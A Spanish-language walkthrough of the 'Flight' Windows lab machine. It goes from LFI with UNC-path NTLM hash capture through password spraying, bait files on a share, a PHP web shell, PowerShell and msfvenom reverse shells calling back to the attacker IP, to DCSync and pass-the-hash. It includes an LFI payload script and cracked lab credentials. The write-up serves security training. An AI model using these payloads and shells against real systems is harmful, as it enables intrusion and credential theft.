# Flight

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-807905b11a1c8c141553fdd3fec110e890901d9d%2F1.png?alt=media)

**Publicado:** 25 de Junio de 2025\
**Autor:** José Miguel Romero aKa **x3m1Sec**\
**Dificultad:** ⭐ Hard\
**OS:** Windows

### 📝 Descripción

Flight es una máquina Windows de dificultad Hard que simula un entorno empresarial con Active Directory y servicios web. La explotación inicial se basa en explotar una vulnerabilidad de Local File Inclusion (LFI) en una aplicación web PHP para forzar autenticación NTLM y capturar hashes Net-NTLMv2. A través de técnicas de password spraying y escalada lateral, se obtiene acceso a múltiples cuentas hasta alcanzar privilegios de administrador mediante un ataque DCSync.

La máquina presenta múltiples vectores de ataque incluyendo enumeración de servicios SMB, explotación de aplicaciones web, captura de credenciales mediante archivos maliciosos, escalada de privilegios a través de cuentas de servicio IIS, y técnicas avanzadas de Active Directory como la delegación de tickets Kerberos.

***

### 📊 Resumen de la Explotación

#### 🔗 Cadena de Ataque

```mermaid
graph TD
    A[🔍 Reconocimiento inicial] --> B[🌐 Enumeración web]
    B --> C[🔍 Descubrimiento de vhost school.flight.htb]
    C --> D[💥 Explotación LFI via parámetro view]
    D --> E[🔑 Captura hash Net-NTLMv2 svc_apache]
    E --> F[🔓 Cracking offline → svc_apache:S@Ss!K@*t13]
    F --> G[🔄 Password spraying → S.Moon reutiliza contraseña]
    G --> H[📂 Acceso SMB con permisos de escritura]
    H --> I[🎯 Archivo malicioso para capturar credenciales]
    I --> J[🔑 Captura hash Net-NTLMv2 C.Bum]
    J --> K[🔓 Cracking offline → C.Bum:Tikkycoll_431012284]
    K --> L[🌐 Subida webshell en directorio /Web]
    L --> M[💻 Reverse shell como svc_apache]
    M --> N[🔄 Escalada lateral a C.Bum con RunasCs]
    N --> O[🌐 Descubrimiento servicio interno puerto 8000]
    O --> P[📂 Permisos escritura en C:\inetpub\development]
    P --> Q[🔁 Shell como IIS APPPOOL\DefaultAppPool]
    Q --> R[🎫 Extracción ticket Kerberos con Rubeus]
    R --> S[⚡ Ataque DCSync para obtener hash Administrator]
    S --> T[👑 Pass-the-Hash → Acceso como SYSTEM]
```

### 🎯 Puntos Clave

* **Vector inicial**: Local File Inclusion (LFI) en aplicación web PHP
* **Técnica de captura**: Forzar autenticación NTLM via UNC paths
* **Escalada lateral**: Password spraying y reutilización de credenciales
* **Persistencia**: Archivos maliciosos en recursos compartidos SMB
* **Escalada final**: Abuso de cuenta de servicio IIS para DCSync
* **Técnicas AD**: Delegación de tickets Kerberos y ataques DCSync

***

### 🔭 Reconocimiento

#### 🏓 Ping para verificación en base a TTL

```bash
❯ ping -c2 10.10.11.187         
PING 10.10.11.187 (10.10.11.187) 56(84) bytes of data.
64 bytes from 10.10.11.187: icmp_seq=1 ttl=127 time=42.5 ms
64 bytes from 10.10.11.187: icmp_seq=2 ttl=127 time=41.8 ms

--- 10.10.11.187 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1010ms
rtt min/avg/max/mdev = 41.794/42.148/42.503/0.354 ms
```

> 💡 **Nota**: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.

#### 🚀 Escaneo de puertos

```bash
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.187 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
```

```bash
echo $ports                                                
53,80,88,135,139,389,445,464,593,636,3268,3269,9389,49667,49673,49674,49687,49695
```

#### 🔍 Enumeración de servicios

```bash
nmap -sC -sV -p$ports 10.10.11.187 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-25 09:31 CEST
Nmap scan report for 10.10.11.187
Host is up (0.050s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: g0 Aviation
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-25 14:31:27Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49687/tcp open  msrpc         Microsoft Windows RPC
49695/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-06-25T14:32:19
|_  start_date: N/A
|_clock-skew: 7h00m01s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
```

⚠️ **Añadimos el siguiente vhost a nuestro fichero /etc/hosts:**

```bash
echo "10.10.11.187 flight.htb" | sudo tee -a /etc/hosts
```

#### 📋 Análisis de Servicios Detectados

| Puerto      | Servicio    | Descripción                       |
| ----------- | ----------- | --------------------------------- |
| **53**      | DNS         | Servicio DNS del dominio          |
| **80**      | HTTP        | Servidor web Apache con PHP       |
| **88**      | Kerberos    | Autenticación del dominio         |
| **135**     | MSRPC       | Llamadas a procedimientos remotos |
| **139/445** | SMB/NetBIOS | Recursos compartidos              |
| **389/636** | LDAP/LDAPS  | Directorio activo                 |

🔥 **Servicios críticos identificados:**

* **SMB (445)**: Posible acceso a recursos compartidos
* **HTTP (80)**: Aplicación web con potencial para LFI/RFI
* **LDAP (389/636)**: Enumeración de usuarios del dominio
* **Kerberos (88)**: Ataques de autenticación

***

### 🌐 Enumeración de Servicios

#### 🗂️ SMB (Puerto 445) - Acceso Inicial

Ya que no disponemos de credenciales, comenzamos tratando de enumerar sin éxito posibles recursos mediante una sesión nula:

```bash
smbclient -N -L //10.10.11.187
Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.187 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

```bash
netexec smb 10.10.11.187 -u '' -p '' --shares 
SMB         10.10.11.187    445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.187    445    G0               [+] flight.htb\: 
SMB         10.10.11.187    445    G0               [-] Error enumerating shares: STATUS_ACCESS_DENIED
```

#### 🌐 HTTP (Puerto 80) - Aplicación Web Principal

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-aaccc6e2722380723b6009b1e4572afe8fa4e3c8%2F3.png?alt=media)

```bash
whatweb -a 3 flight.htb                                                                                     
http://flight.htb [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1], IP[10.10.11.187], JQuery[1.4.2], OpenSSL[1.1.1m], PHP[8.1.1], Script[text/javascript], Title[g0 Aviation]
```

#### 🔍 Fuzzing de directorios

```bash
dirsearch -u http://10.10.11.187 -x 503,404,403

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://10.10.11.187/

[09:37:41] Scanning: 
[09:37:55] 200 -    1KB - /cgi-bin/printenv.pl
[09:37:56] 301 -   334B - /css  ->  http://10.10.11.187/css/
[09:38:00] 301 -   337B - /images  ->  http://10.10.11.187/images/
[09:38:00] 200 -    5KB - /images/
[09:38:01] 200 -    7KB - /index.html
[09:38:01] 301 -   333B - /js  ->  http://10.10.11.187/js/
[09:38:01] 200 -    3KB - /js/

Task Completed
```

No encontramos nada de utilidad que nos sirva como vía potencial de explotación.

#### 🏗️ Fuzzing de vhosts

```bash
ffuf -u http://10.10.11.187 -H "Host: FUZZ.flight.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -mc all -fs 7069
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-06cea5cd5cfff4dd5c915dbbe9eed41c67d76c61%2F2.png?alt=media) Encontramos un vhost que añadimos a nuestro scope y al fichero /etc/hosts.

**school.flight.htb**

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-67ad0c43b562cdfcc2fa6e5d6228bf837f539a7c%2F4.png?alt=media)

```bash
whatweb -a 3 school.flight.htb
http://school.flight.htb [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1], IP[10.10.11.187], OpenSSL[1.1.1m], PHP[8.1.1], Title[Aviation School], X-Powered-By[PHP/8.1.1]
```

#### 🔍 Fuzzing de directorios - school.flight.htb

```bash
dirsearch -u http://school.flight.htb -x 503,404,403

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://school.flight.htb/

[10:41:12] Scanning: 
[10:41:18] 200 -    2KB - /about.html
[10:41:24] 200 -    2KB - /cgi-bin/printenv.pl
[10:41:28] 200 -    3KB - /home.html
[10:41:28] 301 -   347B - /images  ->  http://school.flight.htb/images/
[10:41:28] 200 -    4KB - /images/
[10:41:28] 200 -    4KB - /index.php
[10:41:29] 200 -    4KB - /index.pHp
[10:41:29] 200 -    4KB - /index.php.
[10:41:29] 200 -    4KB - /index.php/login/
[10:41:35] 301 -   347B - /styles  ->  http://school.flight.htb/styles/
```

***

### 💥 Explotación Initial - LFI

#### 🔍 Descubrimiento del parámetro vulnerable

Revisando la sección `/about` observamos un parámetro `view` en la petición GET que parece mostrar el contenido de la página.

Este es un método antiguo utilizado por los desarrolladores web para mostrar el contenido de las páginas web. Al ver estas cosas, generalmente pienso en ataques transversales de ruta de directorio e inclusiones de archivos (LFI, RFI).

#### 🧪 Testing de LFI

Nos creamos un pequeño script para automatizar algunos payloads para comprobar un posible LFI a través de este parámetro:

```bash
#!/bin/bash

URL="http://school.flight.htb/index.php?view="
TARGET="Windows/System32/drivers/etc/hosts"

# Lista de payloads con variantes de bypass
payloads=(
    "../../../../$TARGET"
    "..%2f..%2f..%2f..%2f$TARGET"
    "..%252f..%252f..%252f..%252f$TARGET"
    "....//....//....//$TARGET"
    "..\/..\/..\/..\/$TARGET"
    "..\\..\\..\\..\\$TARGET"
    "..%c0%af..%c0%af..%c0%af..%c0%af$TARGET"
    "%2e%2e/%2e%2e/%2e%2e/%2e%2e/$TARGET"
    "%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f$TARGET"
    "$TARGET%00"
)

echo -e "\n[*] Iniciando escaneo LFI en $URL\n"

for payload in "${payloads[@]}"; do
    echo "[+] Probando payload: $payload"
    response=$(curl -s "${URL}${payload}")
    
    # Comprobación de bloqueo
    if echo "$response" | grep -q -Ei "Suspicious|Incident will be reported"; then
        echo "[x] Bloqueado por WAF o filtro - 'Suspicious Activity Detected'"
    
    # Comprobación de éxito probable
    elif echo "$response" | grep -q -Ei "127\.|localhost|::1"; then
        echo "[✔] Posible ÉXITO - contenido del archivo detectado"
    
    else
        echo "[ ] No se detectaron indicadores útiles"
    fi

    echo
    sleep 1
done
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-828e1f5ff0bc06ed0693f149ad8d8726431d08d7%2F6.png?alt=media)

#### 🔒 Análisis del filtrado

Parece que hay algún tipo de filtrado implementado por el servidor. Probamos la petición con un recurso de la web, por ejemplo `blog.html`:

```bash
curl -s 'http://school.flight.htb/index.php?view=blog.html'  
```

Funciona correctamente. ¿Y si hacemos lo mismo con `index.php`? Vemos que podemos ver el código que se se está aplicando para realizar el filtrado del parámetro:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-ae219ba2ed542e28463d80ca9e517f862505e53d%2F8.png?alt=media)

```php
if ((strpos(urldecode($_GET['view']),'..')!==false)||
    (strpos(urldecode(strtolower($_GET['view'])),'filter')!==false)||
    (strpos(urldecode($_GET['view']),'\\')!==false)||
    (strpos(urldecode($_GET['view']),'htaccess')!==false)||
    (strpos(urldecode($_GET['view']),'.shtml')!==false)
)
```

Por tanto, **bloquea** si detecta:

* `".."` → prevención de path traversal básico
* `"filter"` → para evitar wrappers como `php://filter`
* `"\\"` → backslash típico de Windows
* `"htaccess"` y `".shtml"` → protección contra archivos sensibles

#### 🎯 Explotación via UNC Path

Si pensamos un poco fuera de la caja, debemos encontrar otra solución. De la enumeración anterior, ya sabemos que tenemos un host de Windows con SMB ejecutándose. ¿Qué pasa si le decimos al servidor web que se conecte a un recurso compartido en nuestra máquina?

Iniciamos nuestro servidor SMB:

```bash
impacket-smbserver smbShare $(pwd) -smb2support               
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
```

Ahora tratamos de conectarnos al recurso compartido, usando doble slash `//` en lugar de `\\` ya que esta última está filtrada:

```bash
http://school.flight.htb/index.php?view=//10.10.14.4//smbShare/test
```

¡Éxito! Logramos un hash NTLMv2 del usuario `svc_apache`:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-3cb3a327f2a88c1f086b52111383d5b5aabcbce5%2F9.png?alt=media)

#### 🔓 Cracking del hash

```bash
hashcat -m 5600 -a 0 svc_apache_hash /usr/share/wordlists/rockyou.txt
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-ae76227f79ddc411889666dd964d14c74b0bdf09%2F20.png?alt=media)

**Credenciales obtenidas:** `svc_apache:S@Ss!K@*t13`

***

### 🔄 Escalada Lateral

#### 📂 Enumeración de recursos compartidos

```bash
netexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --shares
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-884f6f3bda2940f4e0c52077073d37d676747b6d%2F11.png?alt=media)

#### 👥 Enumeración de usuarios

```bash
netexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --rid-brute 2>/dev/null | awk -F '\\' '{print $2}' | grep 'SidTypeUser' | sed 's/ (SidTypeUser)//' > Users.txt
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-f5440eaef3d81b7427367dc4fb8d957337597952%2F12.png?alt=media)

#### 🔄 Password Spraying

Con la lista de usuarios obtenida, probamos a realizar Password Spraying de la contraseña que habíamos obtenido:

```bash
netexec smb 10.10.11.187 -u Users.txt -p 'S@Ss!K@*t13' --continue-on-success
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-a14eda3f1f37eefe27c239b603359d4f4a94cc33%2F15.png?alt=media)

**¡Éxito!** El usuario `S.Moon` está reutilizando la misma contraseña.

**Credencial obtenida:** `S.Moon:S@Ss!K@*t13`

#### 🎯 Ataque con archivos maliciosos

El usuario S.Moon tiene permisos de escritura en el recurso "Shared". Podemos crear archivos maliciosos para capturar más credenciales cuando otros usuarios los abran:

```bash
ntlm_theft --verbose --generate modern --server "10.10.14.4" --filename "important" -g all
```

Esto genera archivos maliciosos que fuerzan autenticación NTLM cuando son abiertos:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-733073cf7ba35e76a45607448963a74075cc4396%2F16.png?alt=media)

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-40a185e24ebac5c5e31d43c38a1d3f80f4f905ba%2F17.png?alt=media)

Subimos un archivo al directorio Shared:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-e67ce04c5d77d9b12aaa06cb5fbd3b988493f14f%2F18.png?alt=media) A los pocos segundos recibimos un hash NTLMv2 del usuario `C.Bum`:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-9087edcde4f4b0322d5eb39abdfadfa9fc3dfe49%2F19.png?alt=media)

#### 🔓 Cracking del segundo hash

```bash
hashcat -m 5600 -a 0 cbum_hash /usr/share/wordlists/rockyou.txt
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-ae76227f79ddc411889666dd964d14c74b0bdf09%2F20.png?alt=media) **Credencial obtenida:** `C.Bum:Tikkycoll_431012284`

***

Voy a descargarme todo el directorio C.Bum del recurso Users para analizarlo en mi host de ataque y ver si hay alguna vía potencial que nos permita escalar privilegios

```bash
smbclient //10.10.11.187/Users -U "C.Bum" -c "cd C.Bum; recurse ON; prompt OFF; mget *"
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-fc020fd20e32d14c188f41d3a202c7106c573ee0%2F22.png?alt=media)

Nuevamente, tras revisar todo el árbol de directorios y archivos no encuentro nada de utilidad. Decido usar el collector bloodhound-python para importar los resultados en bloodhound y analizar posibles vías de escalada:

```bash
bloodhound-python -u 'C.Bum' -p 'Tikkycoll_431012284' -d flight.htb -c All --zip -ns 10.10.11.187
```

Una vez cargados los resultados en Bloodhound, veo que C.Bum pertenece al grupo WEBDEVS:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-04280a24abccb907975b7b5e4d7f1c7f08727ad0%2F23.png?alt=media)

Quizás podemos intentar subir una webshell en el recurso compartido /Web. Usaremos una PHP cmd de <http://revshells.com> :

### 🌐 Acceso Web Shell

#### 📂 Permisos de escritura Web

El usuario C.Bum tiene permisos de escritura sobre el recurso Web:

```bash
netexec smb 10.10.11.187 -u 'C.Bum' -p 'Tikkycoll_431012284' --shares
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-d72007aeb757e79f45996aab1a1f0c850df472a4%2F21.png?alt=media)

#### 💻 Subida de Web Shell

Creamos una PHP web shell:

```php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
```

Subimos la shell al directorio web:

```bash
smbclient //10.10.11.187/Web -U "C.Bum"
smb: \school.flight.htb\> put rev.php
```

#### 🔄 Reverse Shell

Accedemos a la shell web: `http://school.flight.htb/rev.php?cmd=whoami`

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-d079fb5e7206b1e98b01b847c5f8bab9f8d46ec5%2F25.png?alt=media) Ejecutamos una reverse shell en PowerShell:

```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.4',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-dee9c2b2ffeadcdcb72a9a429a8261a86cd6ae6e%2F26.png?alt=media)

***

Ejecutamos en payload y ganamos acceso a la máquina como usuario svc\_apache:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-82c54a65dd86781c331bed277327fdb8ba4914a7%2F27.png?alt=media)

Comienzo a enumerar la máquina hasta descubrir que en **C:\inetpub\development** hay otra aplicación que podría estar ejecutándose de forma local. Si revisamos los puertos y servicios en la máquina:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-5adda644bf43fd0fdaf10d5dc9dc9a971285e1fe%2F29.png?alt=media)

### 🔝 Escalada de Privilegios

#### 🔍 Descubrimiento de servicio interno

Enumerando la máquina, descubrimos que en `C:\inetpub\development` hay otra aplicación ejecutándose localmente en el puerto 8000:

```powershell
netstat -ano | Select-String "LISTENING"
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-dac2dde358b225961470c0f21a734b9eb4094740%2F28.png?alt=media)

#### 🔗 Port Forwarding con Chisel

```bash
./chisel server --reverse --port 9003
```

```powershell
chisel.exe client 10.10.14.4:9003 R:8000:127.0.0.1:8000
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-363c5a0903c9366c6b2b8458f1d91a99952cad7b%2F30.png?alt=media)

Realicé un fuzzing de directorios y archivos. Al intentar acceder a /robots.txt, descubrí que el servidor busca el archivo en la carpeta C:\inetpub\development, que parece ser su raíz web.

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-e13fc4d7bc28f9fd10a1717471c7a34f54499424%2F31.png?alt=media)

Si usamos icacls para revisar los permisos sobre el directorio Development en C:\inetpub vemos que el usuario C.Bum tiene permisos de escritura en él.

#### 🔐 Análisis de permisos

Verificamos permisos sobre el directorio development:

```powershell
icacls development
development flight\C.Bum:(OI)(CI)(W)
```

¡El usuario C.Bum tiene permisos de escritura!

#### 🚀 Escalada a C.Bum

Esto nos abre una vía potencial para poder subir aquí una reverse shell ganar acceso y movernos lateralmente. Primero necesitamos ganar una shell como C.Bum, para ello podemos usar <https://github.com/antonioCoco/RunasCs>

Una vez transferida a la máquina, como tenemos las credenciales la ejecutamos de la siguiente forma: Usamos RunasCs para ejecutar comandos como C.Bum:

```powershell
.\RunasCs.exe c.bum Tikkycoll_431012284 cmd.exe -r 10.10.14.4:4444
```

#### 💻 Shell como IIS APPPOOL

Generamos una reverse shell ASPX:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.4 LPORT=443 -a x64 -f aspx > shell.aspx
```

La transferimos al directorio development y la ejecutamos via web, obteniendo una shell como `IIS APPPOOL\DefaultAppPool`.

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-e022cb11c733cb01c6ff2015566815976abf28f2%2F32.png?alt=media)

***

### 👑 Escalada Final - DCSync Attack

#### 🎫 Extracción de ticket Kerberos

Como cuenta de servicio IIS, podemos autenticarnos como la cuenta de máquina. Usamos Rubeus para extraer un ticket:

```powershell
.\rubeus.exe tgtdeleg /nowrap
```

!\[\[40.png]]

#### 🔄 Conversión del ticket

Convertimos el ticket de formato kirbi a ccache:

```bash
python3 kirbi2ccache.py ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache
```

#### ⚡ Ataque DCSync

Sincronizamos el reloj y ejecutamos DCSync:

```bash
sudo ntpdate -s flight.htb && impacket-secretsdump -k -no-pass g0.flight.htb -just-dc-user administrator
```

```bash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
```

#### 🏆 Pass-the-Hash

Finalmente, usamos el hash para obtener acceso como Administrator:

```bash
impacket-psexec -hashes :<REDACTED> Administrator@10.10.11.187
```

```bash
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system
```

***

### 🏁 Flags Capturadas

#### 👤 User Flag

```bash
C:\Users\C.Bum\Desktop> type user.txt
[USER_FLAG]
```

#### 👑 Root Flag

```bash
C:\Users\Administrator\Desktop> type root.txt
[ROOT_FLAG]
```

***
